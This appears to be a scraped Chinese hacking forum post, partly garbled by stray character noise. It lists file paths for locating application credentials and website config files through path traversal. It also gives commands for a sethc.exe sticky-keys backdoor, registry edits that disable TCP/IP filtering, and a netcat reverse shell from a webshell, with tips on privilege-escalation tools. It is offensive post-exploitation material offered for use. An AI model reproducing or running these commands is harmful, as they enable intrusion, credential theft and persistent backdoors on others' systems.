, w2 C" a; x6 K" [c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
7 E! z+ F/ l4 Z! y% |: `C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
" ]: r* X5 `& B  |5 qc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
3 I/ ?& V# Q% Q0 o6 [2 s3 xC:\Program Files\Apache Group\Apache2\bin\Apache.exe
$ X( m, X; a+ W! ], _/usr/local/tomcat5527/bin/version.sh
! i1 U, }# z5 F7 N3 q6 e* r$ E6 p/usr/share/tomcat6/bin/startup.sh
  @" {$ X  I) ^/ P/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
  l4 h) X+ M( r$ |c:\Program Files\Tencent\qq\User.db
  O1 ]! w& Y* g5 w/ V7 n3 S! B! _c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
# }0 u% W: m+ ?- u0 Hc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
& ?  _5 e9 i' e8 N$ W5 rc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
" q+ h' k0 d6 R+ kC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
, }! \" e" o" ~* ]8 Q0 ]c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
( K( U! J' c6 i2 [  N( |5 \# TC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
9 ~/ F/ m- W* k( l/ ^" h6 vC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
" k' {: ^( J( V- \$ D9 T5 JC:\Program Files\FlashFXP\FlashFXP.ini
+ n$ Y( {$ p' n8 K/ }  _C:\Program Files\FlashFXP\flashfxp.exe
7 h6 H9 `. ?# i! p. H. @, Dc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
0 Y0 o" ?! e$ q% o1 P  bc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

/ p1 K. e: l* H5 w3.网站相对路径:
! H2 c5 F3 {- k
, K9 k8 v- B0 V) k5 N/config.php
8 F: T6 D7 b( ]6 i& W../../config.php
../config.php
5 Y+ l6 G% I  g1 a% w7 R' ^5 |../../../config.php
$ U( A! j$ u. m/config.inc.php
./config.inc.php
3 q% L9 ~& l1 N4 o5 h9 d../../config.inc.php
../config.inc.php
# f! J* e; a/ b) h  e/ @$ Y: n../../../config.inc.php
/conn.php
4 L3 z& x# L" `1 `" U& g1 o& F4 T8 f./conn.php
9 a; O% x, D  v6 l4 G../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
6 x8 T; ^7 P' _, m4 h! V& o3 \../../../conn.asp
( h; x! d% E1 b) I+ V  ?% q: r/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
$ l, v" G: w4 O, s1 U- Z../config/config.php
../../../config/config.php
( b" P* J5 O& u5 y+ Y% N/config/config.inc.php
4 j! V/ W, S) t4 j) l/ r./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
' p# e3 ^; D) u  r/ p../../../config/config.inc.php
+ f' R6 x4 a8 f# p; h1 E/config/conn.php
  u; Y+ G& @7 w1 _./config/conn.php
! P8 t& B4 e2 t/ h$ T+ q/ e../../config/conn.php
: v8 ]# x. |: [6 q../config/conn.php
9 U$ u  `$ r5 q, C$ y0 F5 \$ J7 _: h../../../config/conn.php
+ G# \5 _/ H. T7 N9 c+ W6 @/config/conn.asp
! a+ c% U; ]3 ~2 Y2 j/ v/ U./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
4 \: |2 N: e# u, @- |- T/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
4 N' a5 h$ j: z( I../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
+ \" N' x! K7 p% n: y* }5 ^+ [../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
% B* p5 J* _3 N( s' ~../../data/config.inc.php
../data/config.inc.php
% M6 i; S3 \4 ^, ]7 e5 q../../../data/config.inc.php
* A4 h4 G0 q- p$ g, U% o# ]/data/conn.php
; s  \6 O$ R- [$ t9 f./data/conn.php
# z' K% t4 ?8 ]: m! o/ R. h../../data/conn.php
% j* a+ s( o) Z- {* ?+ u& C../data/conn.php
$ ?# Y# N1 z# s4 H4 Y../../../data/conn.php
/data/conn.asp
./data/conn.asp
8 C$ M/ ~3 g0 M- Q, T: E../../data/conn.asp
5 s. s$ R  a1 v8 a# Y6 M  b../data/conn.asp
../../../data/conn.asp
; X2 `. R; a* p* m  f/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
3 k+ W3 j8 E3 W8 D6 O1 h../data/config.inc.php
../../../data/config.inc.php
/include/config.php
. o: Z% N0 g, \; I" _../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
3 [. I$ i4 h, p1 J( \0 D../include/config.inc.php
, v& y4 D: R: ]../../../include/config.inc.php
" [/ ], P0 L/ G& m, X" r, P/include/conn.php
# ]+ W/ F7 B! m  u. P" h./include/conn.php
../../include/conn.php
& `' z* ^! f6 h9 q../include/conn.php
# S! w$ k" I4 `! W# J" }: D6 _5 s../../../include/conn.php
0 J0 }; T9 R; x/include/conn.asp
4 g; m: y0 h1 ^6 G3 S, M2 w./include/conn.asp
8 o4 r- ~4 r2 \3 ?: S8 u: w* ?../../include/conn.asp
../include/conn.asp
  N8 L: f: b1 V* B# y' j6 E( s../../../include/conn.asp
+ K4 p1 l; w) p2 M/include/config.inc.php
./include/config.inc.php
$ M8 X0 L2 Y2 o) X$ |& a../../include/config.inc.php
../include/config.inc.php
0 b- F: B8 u2 @../../../include/config.inc.php
6 R# v% u8 P/ }7 H8 ?' U/inc/config.php
/ v. b$ G0 O3 n../../inc/config.php
../inc/config.php
: h8 |1 w, V: O1 \4 Z../../../inc/config.php
/inc/config.inc.php
0 E8 }6 S& L' B( W& k./inc/config.inc.php
4 W0 N; x6 s, y6 r$ n../../inc/config.inc.php
" X3 Y9 ]  q% Y+ h7 o../inc/config.inc.php
../../../inc/config.inc.php
6 L* }$ @- x/ Y# \# A$ |/inc/conn.php
./inc/conn.php
5 {$ T5 u8 Q- A& I- P! p# g# m7 \: j../../inc/conn.php
) y3 x' X/ V5 q0 M../inc/conn.php
( y! B! J2 k# N* K../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
, x$ G" J) g. W$ t../inc/conn.asp
9 j1 s8 }  h- ?6 P2 ?" o& S../../../inc/conn.asp
7 Y4 H3 W3 ?! P$ U/inc/config.inc.php
' ^# C% E, k" A$ W% O./inc/config.inc.php
" v' ?9 y  F) B3 T- W# L1 r# k../../inc/config.inc.php
' }. D' Z. w2 f../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
8 V% o: _8 |; o2 r$ p0 Q../index.php
* |6 W5 E* V, g& z/ o; |4 G& Y3 |1 q../../../index.php
& M/ h5 v* |7 }4 P/index.asp
./index.asp
../../index.asp
# X! {) v2 J2 Z5 U1 q+ C$ i2 c../index.asp
../../../index.asp
$ v, ~  S# b: b1 t! u, N: ~替换SHIFT后门
+ z" Z  |$ r4 i  M/ m) u7 d8 d　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
* s0 f* [# j6 |0 F1 D
, U6 N# @; Y1 f4 {" E　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
# R+ S0 A, G6 {* Z' F
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
7 W/ Y/ o  p2 R  a( d/ B
, H' @. f9 @9 `+ z　　attrib c:\windows\system32\sethc.exe +h +r +s
4 n8 f9 m- [5 X0 Q2 G
; n8 E/ D" a0 ]7 ~) L　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
( x6 l4 E0 w" |/ M0 zTCP/IP筛选在注册表里有三处，分别是：
0 }, k4 F* l( p0 PHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
' d8 Z& p6 _- m) g) z3 M# S: C9 _
4 F2 c) K4 U8 }: s' K* m- V# H# {分别用
# R7 Y( J9 f) m( Tregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. v) f: M* D# e" B1 c% `regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ w6 @( g- S$ z. O" l' v* [命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
: l8 [* ^. ^4 u7 s) I( k8 F
2 A6 O- E8 K: o: R( _7 G  g再将以上三个文件分别用
' Y/ ?2 h# G" e8 W6 h" [1 x, c. mregedit -s D:\a.reg
! {7 m; S! A: ~' i2 F2 r& K6 jregedit -s D:\b.reg
regedit -s D:\c.reg
2 F, h( J; L6 T7 K; L# b导入注册表即可
+ L( d% R: m. k, K" C9 M) S
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
: P5 F* e! ^6 k1 J; Wnc也在同目录下
例如反弹cmdshell：
, N! A: j3 u2 E0 J5 D  H& i"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
$ M3 S- O) K0 F3 c6 \) O却能成功。。
这个不是重点
, I4 N6 ]6 }; s& d3 K我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功